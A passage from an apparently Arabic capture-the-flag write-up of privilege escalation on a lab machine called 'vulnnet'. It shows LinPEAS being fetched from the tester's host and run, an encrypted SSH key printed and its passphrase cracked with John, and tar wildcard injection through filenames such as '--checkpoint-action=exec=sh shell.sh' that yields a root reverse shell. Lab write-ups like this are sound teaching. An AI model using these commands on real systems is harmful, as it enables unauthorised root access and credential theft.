www-data@vulnnet:/$ pwd
pwd
/
www-data@vulnnet:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@vulnnet:/$ .أصبح عندنا شِل تفاعلي كامل كمستخدم www-data.
➜ linpeas python3 -m http.server 8889
Serving HTTP on 0.0.0.0 port 8889 (http://0.0.0.0:8889/) ...
10.10.120.89 - - [09/Aug/2025 11:59:32] "GET /linpeas.sh HTTP/1.1" 200 -
Privilege Escalation – تصعيد الصلاحيات
التصعيد الأول – من www-data إلى server-management
بعد ما حصلنا على reverse shell كمستخدم www-data, بدأنا في مرحلة الاستكشاف للحصول على صلاحيات أعلى.
1. تشغيل أداة LinPEAS
رفعنا الأداة إلى السيرفر وشغلناها:
www-data@vulnnet:/home$ cd /tmp
cd /tmp
www-data@vulnnet:/tmp$ wget http://10.23.150.79:8889/linpeas.sh
wget http://10.23.150.79:8889/linpeas.sh
--2025-08-09 12:59:31-- http://10.23.150.79:8889/linpeas.sh
Connecting to 10.23.150.79:8889... connected.
HTTP request sent, awaiting response... 200 OK
Length: 952817 (930K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 0%[ ] 0 --.-KB/s linpeas.sh 9%[> ] 87.29K 435KB/s linpeas.sh 27%[====> ] 255.65K 627KB/s linpeas.sh 44%[=======> ] 416.52K 679KB/s linpeas.sh 62%[===========> ] 581.13K 710KB/s linpeas.sh 86%[================> ] 802.26K 778KB/s linpeas.sh 100%[===================>] 930.49K 814KB/s in 1.1s
2025-08-09 12:59:32 (814 KB/s) - 'linpeas.sh' saved [952817/952817]
www-data@vulnnet:/tmp$ chmod +x linpeas.sh*
chmod +x linpeas.sh*
www-data@vulnnet:/tmp$ chmod +x linpeas.sh
chmod +x linpeas.sh
www-data@vulnnet:/tmp$ ./linpeas.sh

النتائج كشفت في /var/backups وجود ملف احتياطي باسم ssh-backup.tar.gz ينتمي لمستخدم server-management، وهذا تلميح قوي بوجود مفاتيح SSH خاصة به.
wxr-xr-x 2 root root 4096 Aug 9 12:58 /var/backups
total 2340
-rw-r--r-- 1 root root 51200 Jan 23 2021 alternatives.tar.0
-rw-r--r-- 1 root root 13896 Jan 23 2021 apt.extended_states.0
-rw-r--r-- 1 root root 11 Jan 23 2021 dpkg.arch.0
-rw-r--r-- 1 root root 43 Jan 23 2021 dpkg.arch.1.gz
-rw-r--r-- 1 root root 43 Jan 23 2021 dpkg.arch.2.gz
-rw-r--r-- 1 root root 280 Jan 23 2021 dpkg.diversions.0
-rw-r--r-- 1 root root 160 Jan 23 2021 dpkg.diversions.1.gz
-rw-r--r-- 1 root root 160 Jan 23 2021 dpkg.diversions.2.gz
-rw-r--r-- 1 root root 265 Jan 23 2021 dpkg.statoverride.0
-rw-r--r-- 1 root root 195 Jan 23 2021 dpkg.statoverride.1.gz
-rw-r--r-- 1 root root 179 Jan 23 2021 dpkg.statoverride.2.gz
-rw-r--r-- 1 root root 1402383 Jan 25 2021 dpkg.status.0
-rw-r--r-- 1 root root 386206 Jan 23 2021 dpkg.status.1.gz
-rw-r--r-- 1 root root 366251 Jan 23 2021 dpkg.status.2.gz
-rw------- 1 root root 857 Jan 23 2021 group.bak
-rw------- 1 root shadow 712 Jan 23 2021 gshadow.bak
-rw------- 1 root root 1831 Jan 23 2021 passwd.bak
-rw------- 1 root shadow 1118 Jan 23 2021 shadow.bak
-rw-rw-r-- 1 server-management server-management 1484 Jan 24 2021 ssh-backup.tar.gz
-rw-r--r-- 1 root root 49338 Jan 25 2021 vulnnet-Monday.tgz
-rw-r--r-- 1 root root 49338 Aug 9 13:04 vulnnet-Saturday.tgz

2. استخراج مفتاح SSH لاستخدامه لاحقًا
رفعنا الملف الى /tmp وفككنا الضغط:
www-data@vulnnet:/tmp$ cp /var/backups/ssh-backup.tar.gz ./ssh.tar.gz
cp /var/backups/ssh-backup.tar.gz ./ssh.tar.gz
www-data@vulnnet:/tmp$ ls
ls
linpeas.sh ssh.tar.gz
www-data@vulnnet:/tmp$ tar -xzf ssh.tar.gz
tar -xzf ssh.tar.gz
www-data@vulnnet:/tmp$ ls
ls
id_rsa linpeas.sh ssh.tar.gz
www-data@vulnnet:/tmp$ cat id_rsa
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6CE1A97A7DAB4829FE59CC561FB2CCC4
mRFDRL15t7qvaZxJGHDJsewnhp7wESbEGxeAWtCrbeIVJbQIQd8Z8SKzpvTMFLtt
dseqsGtt8HSruVIq++PFpXRrBDG5F4rW5B6VDOVMk1O9J4eHEV0N7es+hZ22o2e9
60qqj7YkSY9jVj5Nqq49uUNUg0G0qnWh8M6r8r83Ov+HuChdeNC5CC2OutNivl7j
dmIaFRFVwmWNJUyVen1FYMaxE+NojcwsHMH8aV2FTiuMUsugOwZcMKhiRPTElojn
tDrlgNMnP6lMkQ6yyJEDNFtn7tTxl7tqdCIgB3aYQZXAfpQbbfJDns9EcZEkEkrp
hs5Li20NbZxrtI6VPq6/zDU1CBdy0pT58eVyNtDfrUPdviyDUhatPACR20BTjqWg
3BYeAznDF0MigX/AqLf8vA2HbnRTYWQSxEnAHmnVIKaNVBdL6jpgmw4RjGzsUctk
jB6kjpnPSesu4lSe6n/f5J0ZbOdEXvDBOpu3scJvMTSd76S4n4VmNgGdbpNlayj5
5uJfikGR5+C0kc6PytjhZrnODRGfbmlqh9oggWpflFUm8HgGOwn6nfiHBNND0pa0
r8EE1mKUEPj3yfjLhW6PcM2OGEHHDQrdLDy3lYRX4NsCRSo24jtgN1+aQceNFXQ7
v8Rrfu5Smbuq3tBjVgIWxolMy+a145SM1Inewx4V4CX1jkk6sp0q9h3D03BYxZjz
n/gMR/cNgYjobbYIEYS9KjZSHTucPANQxhUy5zQKkb61ymsIR8O+7pHTeReelPDq
nv7FA/65Sy3xSUXPn9nhqWq0+EnhLpojcSt6czyX7Za2ZNP/LaFXpHjwYxBgmMkf
oVmLmYrw6pOrLHb7C5G6eR6D/WwRjhPpuhCWWnz+NBDQXIwUzzQvAyHyb7D1+Itn
MesF+L9zuUADGeuFl12dLahapM5ZuKURwnzW9+RwmmJSuT0AnN5OyuJtwfRznjyZ
7f5NP9u6vF0NQHYZI7MWcH7PAQsGTw3xzBmJdIfF71DmG0rqqCR7sB2buhoI4ve3
obvpmg2CvE+rnGS3wxuaEO0mWxVrSYiWdi7LJZvppwRF23AnNYNTeCw4cbvvCBUd
hKvhau01yVW2N/R8B43k5G9qbeNUmIZIltJZaxHnQpJGIbwFSItih49Fyr29nURK
ZJbyJbb4+Hy2ZNN4m/cfPNmCFG+w0A78iVPrkzxdWuTaBOKBstzpvLBA20d4o3ow
wC6j98TlmFUOKn5kJmX1EQAHJmNwERNKFmNwgHqgwYNzIhGRNdyoqJxBrshVjRk9
GSEZHtyGNoBqesyZg8YtsYIFGppZFQmVumGCRlfOGB9wPcAmveC0GNfTygPQlEMS
hoz4mTIvqcCwWibXME2g8M9NfVKs7M0gG5Xb93MLa+QT7TyjEn6bDa01O2+iOXkx
0scKMs4v3YBiYYhTHOkmI5OX0GVrvxKVyCJWY1ldVfu+6LEgsQmUvG9rYwO4+FaW
4cI3x31+qDr1tCJMLuPpfsyrayBB7duj/Y4AcWTWpY+feaHiDU/bQk66SBqW8WOb
d9vxlTg3xoDcLjahDAwtBI4ITvHNPp+hDEqeRWCZlKm4lWyI840IFMTlVqwmxVDq
-----END RSA PRIVATE KEY-----
تفقدنا الملف ووجدناه مفتاح RSA مشفر بكلمة مرور.
3. كسر كلمة مرور المفتاح باستخدام John the Ripper
للوصول إلى محتويات المفتاح، استخدمنا أداة ssh2john لتحويله إلى صيغة يمكن لـ John معالجتها:
➜ ssh2john id_rsa > hashrsa.txt
➜ john --wordlist=/usr/share/wordlists/rockyou.txt hashrsa.txt --format=SSH
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
oneTWO3gOyac (id_rsa)
1g 0:00:00:01 DONE (2025-08-09 12:12) 0.8695g/s 4267Kp/s 4267Kc/s 4267KC/s one_0012..one98t7
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
4. تسجيل الدخول كمستخدم server-management
الآن وبعد فك تشفير المفتاح، ضبطنا أذونات الملف واتصلنا عبر SSH:
➜ ssh server-management@vulnnet.thm -i id_rsa
The authenticity of host 'vulnnet.thm (10.10.120.89)' can't be established.
ED25519 key fingerprint is SHA256:GgnSIc02m6P4YfjO6UVJaykCDYShjpPCn/B4+fzh+4k.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'vulnnet.thm' (ED25519) to the list of known hosts.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0664 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
server-management@vulnnet.thm's password:
➜ sudo chmod 600 id_rsa
[sudo] password for doctorhou:
➜ 1vulnnet ssh server-management@vulnnet.thm -i id_rsa
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-134-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* Introducing self-healing high availability clusters in MicroK8s.
Simple, hardened, Kubernetes for production, from RaspberryPi to DC.
https://microk8s.io/high-availability
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
560 packages can be updated.
359 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
server-management@vulnnet:~$ whoami
server-management
server-management@vulnnet:~$ pwd
/home/server-management
server-management@vulnnet:~$ id
uid=1000(server-management) gid=1000(server-management) groups=1000(server-management)درك واحنا ولّينا عندنا أكسس تاوع يوزر، ما بقات غير حاجة وحدة: نروحو لدارو ونشوفو user.txt.
التصعيد الثاني – من server-management إلى root
رجعنا نشوف نتائج linpeas، ولقينا كاين cronjob رايح يتنفّذ كل فترة، وظيفتو يدير backup لملفات /home/server-management/Documents ويخزنهم في /var/backups.
*/2 * * * * root /var/opt/backupsrv.sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

كي فتحناه، لقينا السكريبت:
#!/bin/bash
# Where to backup to.
dest="/var/backups"
# What to backup.
cd /home/server-management/Documents
backup_files="*"
# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"
# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo
# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
# Print end status message.
echo
echo "Backup finished"
date
# Long listing of files in $dest to check file sizes.
ls -lh $dest
وش هو الـ Cron Job؟
Cron Job هو خدمة في لينكس تخليك تشغّل أوتوماتيكياً أوامر/سكريبتات في وقت معيّن أو بفترات منتظمة (مثلاً كل دقيقة، كل ساعة، كل يوم…).
في حالتنا، لقينا واحد cronjob يشتغل باسم root، ومهمته هي عمل Backup لمجلد معيّن كل فترة.
واش يدير السكريبت بالضبط؟
السكريبت يروح لمجلد /home/server-management/Documents، ياخذ جميع الملفات اللي فيه، ويضغطهم في أرشيف .tgz، ثم يحط النتيجة في /var/backups.
جزء من الكود:
cd /home/server-management/Documents<br>backup_files="*"<br>tar czf /var/backups/backup.tgz $backup_filesهنا الـ "*" معناها wildcard، يعني “أي حاجة في المجلد” (كل الملفات والمجلدات).
واش هو الـ Wildcard؟
الـ wildcard * في لينكس هو رمز خاص كي يستعمله أمر (مثل tar أو ls) يعني “كل الملفات” أو “أي اسم”.
المشكل (أو الميزة بالنسبة لنا 😏) هو: لو كان اسم الملف فيه أوامر خاصة بـ tar، رايح tar يفكر أنو خيار من أوامر التشغيل، موش مجرد اسم ملف.
كيفاش نستغلوها؟
الفكرة بسيطة:
tarعندو خيار اسمو--checkpoint-action=exec=COMMAND، يخليك تشغّل أمر معين في وسط عملية الـ backup.- إذا حطينا ملف في المجلد اسمو بالضبط
--checkpoint-action=exec=sh shell.sh، وقت ماtarيشوفو، رايح ينفذ أمرsh shell.sh. - وبما أن السكريبت يتنفذ بـ root، أمرنا رايح يتنفذ بصلاحيات root.
خطوات الاستغلال:
أولاً، كتبنا سكريبت shell.sh فيه كود Reverse Shell:

بعدها، حضّرنا ملفات الـ tar exploit:
server-management@vulnnet:~/Documents$ touch shell.sh
server-management@vulnnet:~/Documents$ nano shell.sh
server-management@vulnnet:~/Documents$ chmod +x shell.sh
server-management@vulnnet:~/Documents$ echo > '--checkpoint=1'
server-management@vulnnet:~/Documents$ echo > '--checkpoint-action=exec=sh shell.sh'
server-management@vulnnet:~/Documents$ ls
'--checkpoint=1' 'Employee Search Progress Report.pdf'
'--checkpoint-action=exec=sh shell.sh' shell.sh
'Daily Job Progress Report Format.pdf'
server-management@vulnnet:~/Documents$
جهزنا listener على جهازنا: nc -lvnp 4443

جلسنا نستنى حتى يشتغل الـ cronjob… وبعد دقائق جالنا اتصال كـ root.

وأخيرًا بعد ما استغلّينا الثغرة، قدرنا نوصل لملف root.txt ونعرِض المحتوى ديالو، وبذلك نكون أكملنا عملية التصعيد بنجاح

فيديو الشرح الكامل
الخاتمة والنتائج
في هذا التحدي عشنا رحلة من البداية للنهاية، من أول خطوة في الاستكشاف حتى وصلنا لصلاحيات الـ root.
خدمنا بالمنهجية والهدوء، كل خطوة كانت مفتاح للخطوة اللي بعدها:
- فحصنا الشبكة واكتشفنا الخدمات المفتوحة.
- جربنا عدة تقنيات واستغلالات، ونجحنا نحصل على شل محدود.
- من بعد استعملنا أدوات قوية كيما linpeas باش نلقى ثغرات تصعيد صلاحيات.
- فكّينا مفاتيح SSH مشفرة وكسرنا كلمات المرور.
- استغلينا ثغرة wildcard في الـ cronjob باش نرتقي للـ root.
هذه التجربة تزيد من فهمنا لأهمية تحديث الأنظمة، تقوية كلمات المرور، وتنظيم صلاحيات المستخدمين باش نمنع هجمات مشابهة.

